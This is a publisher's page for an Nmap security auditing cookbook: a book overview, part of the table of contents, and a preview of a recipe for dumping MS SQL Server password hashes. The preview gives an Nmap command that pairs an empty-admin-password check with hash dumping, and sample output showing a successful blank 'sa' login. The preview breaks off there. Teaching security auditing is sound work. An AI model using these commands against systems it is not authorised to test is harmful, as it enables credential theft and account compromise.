Book Image

Nmap Network Exploration and Security Auditing Cookbook, Third Edition - Third Edition

By : Paulino Calderon
Book Image

Nmap Network Exploration and Security Auditing Cookbook, Third Edition - Third Edition

By: Paulino Calderon

Overview of this book

Nmap is one of the most powerful tools for network discovery and security auditing used by millions of IT professionals, from system administrators to cybersecurity specialists. This third edition of the Nmap: Network Exploration and Security Auditing Cookbook introduces Nmap and its family - Ncat, Ncrack, Ndiff, Zenmap, and the Nmap Scripting Engine (NSE) - and guides you through numerous tasks that are relevant to security engineers in today’s technology ecosystems. The book discusses some of the most common and useful tasks for scanning hosts, networks, applications, mainframes, Unix and Windows environments, and ICS/SCADA systems. Advanced Nmap users can benefit from this book by exploring the hidden functionalities within Nmap and its scripts as well as advanced workflows and configurations to fine-tune their scans. Seasoned users will find new applications and third-party tools that can help them manage scans and even start developing their own NSE scripts. Practical examples featured in a cookbook format make this book perfect for quickly remembering Nmap options, scripts and arguments, and more. By the end of this Nmap book, you will be able to successfully scan numerous hosts, exploit vulnerable areas, and gather valuable information.
Table of Contents (22 chapters)
Appendix A: HTTP, HTTP Pipelining, and Web Crawling Configuration Options
Appendix Β: Brute-Force Password Auditing Options
Appendix F: References and Additional Reading

Dumping password hashes of MS SQL servers

After gaining access to an MS SQL server, we can dump all the password hashes of the server to compromise other accounts. Nmap can help us retrieve these hashes in a format usable by popular cracking tools such as John the Ripper.

This recipe shows how to dump password hashes of an MS SQL server with Nmap.

How to do it...

To dump all the password hashes of an MS SQL server with an empty system administrator password, run the following Nmap command:

$ nmap -p1433 --script ms-sql-empty-password,ms-sql-dump-hashes
<target>

The password hashes will be included in the script output section:

PORT     STATE SERVICE  VERSION
1433/tcp open   ms-sql-s Microsoft SQL Server 2011 Service Info: CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-empty-password:
|   [192.168.1.102\MSSQLSERVER]
|_    sa:<empty> => Login Success
| ms...